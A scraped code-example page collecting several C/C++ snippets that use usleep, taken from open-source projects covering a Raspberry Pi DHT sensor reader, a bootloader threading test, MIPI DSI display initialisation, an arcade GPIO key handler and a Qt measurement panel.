int readDHT(int type, int pin) {  int counter = 0;  int laststate = HIGH;  int j=0;  // Set GPIO pin to output  bcm2835_gpio_fsel(pin, BCM2835_GPIO_FSEL_OUTP);  bcm2835_gpio_write(pin, HIGH);  usleep(500000);  // 500 ms  bcm2835_gpio_write(pin, LOW);  usleep(20000);  bcm2835_gpio_fsel(pin, BCM2835_GPIO_FSEL_INPT);  data[0] = data[1] = data[2] = data[3] = data[4] = 0;  // wait for pin to drop?  while (bcm2835_gpio_lev(pin) == 1) {    usleep(1);  }  // read data!  for (int i=0; i< MAXTIMINGS; i++) {    counter = 0;    while ( bcm2835_gpio_lev(pin) == laststate) {	counter++;	//nanosleep(1);		// overclocking might change this?        if (counter == 1000)	  break;    }    laststate = bcm2835_gpio_lev(pin);    if (counter == 1000) break;    bits[bitidx++] = counter;    if ((i>3) && (i%2 == 0)) {      // shove each bit into the storage bytes      data[j/8] <<= 1;      if (counter > 200)        data[j/8] |= 1;      j++;    }  }#ifdef DEBUG  for (int i=3; i<bitidx; i+=2) {    printf("bit %d: %d/n", i-3, bits[i]);    printf("bit %d: %d (%d)/n", i-2, bits[i+1], bits[i+1] > 200);  }#endif  // printf("Data (%d): 0x%x 0x%x 0x%x 0x%x 0x%x/n", j, data[0], data[1], data[2], data[3], data[4]);  if ((j >= 39) && (data[4] == ((data[0] + data[1] + data[2] + data[3]) & 0xFF)) ) {    // printf("Temp = %d *C, Hum = %d /%/n", data[2], data[0]);    // Yay. Let's return JSON    printf("{/"temp/": %d, /"hum/": %d}/n", data[2], data[0]);    return 1;  }  else{   printf("{/"error/": /"invalid checksum/"}/n");  }  return 0;}
开发者ID:sniku,项目名称:jurek_control,代码行数:66,


示例27: main

void main(int argc, char *argv[]) {   mt_tid       tid;   mt_waitentry  we[TEST_THREADS+1];   u32t          ii, sig;   clock_t      stm;   qserr        res;   qshandle     que;   mt_ctdata    tsd;   char         *cp;   if (!mt_active()) {      res = mt_initialize();      if (res) {         cmd_shellerr(EMSG_QS, res, "MTLIB initialization error: ");         return;      }   }   tlsvar = mt_tlsalloc();   cp     = argv[1] ? strdup(argv[1]) : 0;   memset(&tsd, 0, sizeof(tsd));   tsd.size      = sizeof(tsd);   tsd.stacksize = 8192;   tsd.onenter   = start_hook;   tid    = mt_createthread(threadfunc1, 0, &tsd, cp);   log_printf("mt_createthread() = %X/n", tid);   mt_waitthread(tid);   res    = mt_muxcreate(0, "test mutex", &mutex);   if (res) { cmd_shellerr(EMSG_QS, res, "Mutex creation error: "); return; }   for (ii=0; ii<TEST_THREADS; ii++) {      ta[ii] = mt_createthread(threadfunc2, MTCT_SUSPENDED, 0, 0);      we[ii].htype   = QWHT_TID;      we[ii].tid     = ta[ii];      we[ii].group   = ii&1 ? 2 : 1;      we[ii].resaddr = 0;   }   we[TEST_THREADS].htype = QWHT_CLOCK;   we[TEST_THREADS].group = 0;   we[TEST_THREADS].tme   = (stm = sys_clock()) + CLOCKS_PER_SEC;   /* launch a thread to resume all 20, else some of them can exit before      we enter mt_waitobject() */   mt_createthread(threadfunc3, 0, 0, cp);   /* AND logic for both groups - i.e. all odd or all even finished threads      will signal here (or 1 sec timeout). */   res = mt_waitobject(we, TEST_THREADS+1, 3, &sig);   stm = sys_clock() - stm;   if (res) {      cmd_shellerr(EMSG_QS, res, "mt_waitobject() error: ");   } else {      printf("Time spent: %Lu mks, ", stm);      switch (sig) {         case 0: printf("timer win!/n"); break;         case 1: printf("group 1 win!/n"); break;         case 2: printf("group 2 win!/n"); break;         default: printf("???/n");      }   }   // wait for remaining threads   for (sig=0;!sig;) {      mt_muxcapture(mutex);      if (threads==TEST_THREADS) sig = 1;      mt_muxrelease(mutex);   }   res = mt_closehandle(mutex);   if (res) { cmd_shellerr(EMSG_QS, res, "Mutex free error: "); return; }   res = mt_eventcreate(0, "test_event", &event);   if (res) { cmd_shellerr(EMSG_QS, res, "Event creation error: "); return; }   /* just a test of QEVA_PULSEONE event handling: create 20 threads and wait for      an event in all of them.      Then, in loop - call pulse one and wait for any thread 20 times */   for (ii=1; ii<=TEST_THREADS; ii++) mt_createthread(threadfunc5, 0, 0, (void*)ii);   /* let threads above to reach mt_waithandle() string - else first pulse will be      lost and code stopped on mt_waitthread() forever */   usleep(32000);   for (ii=0; ii<TEST_THREADS; ii++) {      mt_eventact(event, QEVA_PULSEONE);      mt_waitthread(0);   }   // this test will fail on PXE (no hlp_fopen())   log_printf("boot file i/o sync test/n", tid);   mt_createthread(threadfunc4, 0, 0, 0);   mt_createthread(threadfunc4, 0, 0, 0);   /* event scheduling test.      Post 4 events to the future and then check delivery time */   res = qe_create(0, &que);   if (res) { cmd_shellerr(EMSG_QS, res, "Queue creation error: "); return; } else    {      static u32t timediff[TEST_SCHEDULES] = { 32, 38, 64, 126 };      qe_eid          eids[TEST_SCHEDULES];      stm = sys_clock();      for (ii=0; ii<TEST_SCHEDULES; ii++) {//.........这里部分代码省略.........
开发者ID:OS2World,项目名称:SYSTEM-LOADER-QSINIT,代码行数:101,


示例28: mipi_dsi_phy_init

void mipi_dsi_phy_init(int panel_ndx, struct msm_panel_info const *panel_info,	int target_type){	struct mipi_dsi_phy_ctrl *pd;	int i, off;	MIPI_OUTP(MIPI_DSI_BASE + 0x128, 0x0001);/* start phy sw reset */	wmb();	usleep(1);	MIPI_OUTP(MIPI_DSI_BASE + 0x128, 0x0000);/* end phy w reset */	wmb();	usleep(1);	MIPI_OUTP(MIPI_DSI_BASE + 0x500, 0x0003);/* regulator_ctrl_0 */	MIPI_OUTP(MIPI_DSI_BASE + 0x504, 0x0001);/* regulator_ctrl_1 */	MIPI_OUTP(MIPI_DSI_BASE + 0x508, 0x0001);/* regulator_ctrl_2 */	MIPI_OUTP(MIPI_DSI_BASE + 0x50c, 0x0000);/* regulator_ctrl_3 */	MIPI_OUTP(MIPI_DSI_BASE + 0x510, 0x0100);/* regulator_ctrl_4 */	MIPI_OUTP(MIPI_DSI_BASE + 0x4b0, 0x04);/* DSIPHY_LDO_CNTRL */	pd = (panel_info->mipi).dsi_phy_db;	off = 0x0480;	/* strength 0 - 2 */	for (i = 0; i < 3; i++) {		MIPI_OUTP(MIPI_DSI_BASE + off, pd->strength[i]);		wmb();		off += 4;	}	off = 0x0470;	/* ctrl 0 - 3 */	for (i = 0; i < 4; i++) {		MIPI_OUTP(MIPI_DSI_BASE + off, pd->ctrl[i]);		wmb();		off += 4;	}	off = 0x0500;	/* regulator ctrl 0 - 4 */	for (i = 0; i < 5; i++) {		MIPI_OUTP(MIPI_DSI_BASE + off, pd->regulator[i]);		wmb();		off += 4;	}	mipi_dsi_calibration();	mipi_dsi_lane_cfg(); /* lane cfgs */	mipi_dsi_bist_ctrl(); /* bist ctrl */	off = 0x0204;	/* pll ctrl 1 - 19, skip 0 */	for (i = 1; i < 20; i++) {		MIPI_OUTP(MIPI_DSI_BASE + off, pd->pll[i]);		wmb();		off += 4;	}	if (panel_info)		mipi_dsi_phy_pll_config(panel_info->clk_rate);	/* pll ctrl 0 */	MIPI_OUTP(MIPI_DSI_BASE + 0x200, pd->pll[0]);	wmb();	off = 0x0440;	/* phy timing ctrl 0 - 11 */	for (i = 0; i < 12; i++) {		MIPI_OUTP(MIPI_DSI_BASE + off, pd->timing[i]);		wmb();		off += 4;	}	if (target_type == 1)		mipi_dsi_configure_serdes();}
开发者ID:98416,项目名称:Z7Max_NX505J_H129_kernel,代码行数:70,


示例29: main

//.........这里部分代码省略.........					// Read current pin state, store					// in internal state flag, but					// don't issue to uinput yet --					// must wait for debounce!					lseek(p[i].fd, 0, SEEK_SET);					read(p[i].fd, &c, 1);					if(c == '0')      intstate[i] = 1;					else if(c == '1') intstate[i] = 0;					p[i].revents = 0; // Clear flag				}			}			timeout = debounceTime; // Set timeout for debounce			c       = 0;            // Don't issue SYN event			// Else timeout occurred		} else if(timeout == debounceTime) { // Button debounce timeout			// 'j' (number of non-GNDs) is re-counted as			// it's easier than maintaining an additional			// remapping table or a duplicate key[] list.			bitMask = 0L; // Mask of buttons currently pressed			bit     = 1L;			for(c=i=j=0; io[i].pin >= 0; i++, bit<<=1) {				if(io[i].key != GND) {					// Compare internal state against					// previously-issued value.  Send					// keystrokes only for changed states.					if(intstate[j] != extstate[j]) {						extstate[j] = intstate[j];						keyEv.code  = io[i].key;						keyEv.value = intstate[j];						if ((keyEv.code==KEY_0)&&(keyEv.value==1))						{							system("sudo halt");							//system("echo /"that works/"");						}						else						{							write(fd, &keyEv,							sizeof(keyEv));						}						//write(fd, &keyEv,						//sizeof(keyEv));						c = 1; // Follow w/SYN event						if(intstate[j]) { // Press?							// Note pressed key							// and set initial							// repeat interval.							lastKey = i;							timeout = repTime1;						} else { // Release?							// Stop repeat and							// return to normal							// IRQ monitoring							// (no timeout).							lastKey = timeout = -1;						}					}					j++;					if(intstate[i]) bitMask |= bit;				}			}			// If the "Vulcan nerve pinch" buttons are pressed,			// set long timeout -- if this time elapses without			// a button state change, esc keypress will be sent.			if((bitMask & vulcanMask) == vulcanMask)				timeout = vulcanTime;		} else if(timeout == vulcanTime) { // Vulcan timeout occurred			// Send keycode (MAME exits or displays exit menu)			keyEv.code = vulcanKey;			for(i=1; i>= 0; i--) { // Press, release				keyEv.value = i;				write(fd, &keyEv, sizeof(keyEv));				usleep(10000); // Be slow, else MAME flakes				write(fd, &synEv, sizeof(synEv));				usleep(10000);			}			timeout = -1; // Return to normal processing			c       = 0;  // No add'l SYN required		} else if(lastKey >= 0) { // Else key repeat timeout			if(timeout == repTime1) timeout = repTime2;			else if(timeout > 30)   timeout -= 5; // Accelerate			c           = 1; // Follow w/SYN event			keyEv.code  = io[lastKey].key;			keyEv.value = 2; // Key repeat event			write(fd, &keyEv, sizeof(keyEv));		}		if(c) write(fd, &synEv, sizeof(synEv));	}	// ----------------------------------------------------------------	// Clean up	ioctl(fd, UI_DEV_DESTROY); // Destroy and	close(fd);                 // close uinput	cleanup();                 // Un-export pins	puts("Done.");	return 0;}
开发者ID:ian57,项目名称:Nanocab-Pi1-Pi2-Retrogame,代码行数:101,


示例30: QTimer

//.........这里部分代码省略.........//	IPsoc->shLocatorDetection();    m_nADCtimer = new QTimer(this);    IBackPlane->writeBackPlaneRegister(0x0FFF,0x001E);//clear all interrupts    IBackPlane->writeBackPlaneRegister(0x0000,0x0020);//disable all interrupts    IBackPlane->writeBackPlaneRegister(0x0000,0x0024);//disable global interrupt    IBackPlane->writeBackPlaneRegister(0x0100,0x0020);//enabling psoc INT0embedded key interrupt)    IPTKeyEvent->InvokeGPIOEvent(this,"/dev/input/event2","pt_kpp",&m_nPTKeyCode);    IGPIOEvent->InvokeGPIOEvent(this,"/dev/input/event7","gpioevent",&m_nGPIOCode);    IBackPlane->writeBackPlaneRegister(0x0001,0x0024);    //        IBackPlane->writeBackPlaneRegister();    ohms=QChar(0x2126);    micro=QChar(0x00B5);    //~~~~~~~~~~~~~Reading Short Values from File~~~~~~~~~~~~~~~~~~~~~~	QStringList stringList;	bool ok=true;	QFile textFile;   	textFile.setFileName("shortValuesI.txt");    if (textFile.open(QIODevice::ReadOnly))    {        QTextStream textStream(&textFile);        while (!textStream.atEnd())        {            stringList.append(textStream.readLine());        }        r200EShortValue=stringList.value(0).toDouble(&ok);        qDebug()<<"200E Short Value:"<<r200EShortValue;        r2EShortValue=stringList.value(1).toDouble(&ok);        qDebug()<<"2E Short Value:"<<r2EShortValue;       	r200mEShortValue=stringList.value(2).toDouble(&ok);        qDebug()<<"200mE Short Value:"<<r200mEShortValue;    }else{        r200EShortValue=r200mEShortValue=r2EShortValue=0.0;    }    //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    //~~~~~~~~Check for debug panel~~~~~~~~~~~~~~~~~~~~~~~~    QStringList debugPanel;    QFile textFile2("debugPanel.txt");    if (textFile2.open(QIODevice::ReadOnly))    {        QTextStream textStream(&textFile2);        while (!textStream.atEnd())        {            debugPanel.append(textStream.readLine());            if(debugPanel.value(0)=="1")                ToolBox(true);            else                ToolBox(false);        }    }else{        ToolBox(false);    }    //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    IDMMLib->ApplyDACOffset(false);    dis->setValue("OL");    IBackPlane->writeBackPlaneRegister(0x0,0x16);    //	Beep(false);    AutoFlag=false;    on_Auto_clicked();    OffsetFlag=false;    BuzzerFlag=false;    msgBoxLive=false;    ui.progressBar_2->setValue(0);    for(int i=0;i<100;i++)        avgRetval[i]=0.0;    retval=retval2=retval3=0.0;    nullify=0.0;    nullit=0.0;    avg=0;    noOFsamples=1;    rangePrevValue=33;    ui.uE->setText(micro+ohms);    on_r200But_clicked();    ui.holdCap->setVisible(false);    runFlag=true;    startStop();	ui.openShortEnable->setChecked(true);	m_nAvgCount=0;	movingAverage=5;	ui.splashWidget->setVisible(false);		usleep(1000);}
开发者ID:Qmax,项目名称:PT6,代码行数:101,



注:本文中的usleep函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


C++ usleep_range函数代码示例
C++ using_EKF函数代码示例
万事OK自学网:51自学网_软件自学网_CAD自学网自学excel、自学PS、自学CAD、自学C语言、自学css3实例,是一个通过网络自主学习工作技能的自学平台,网友喜欢的软件自学网站。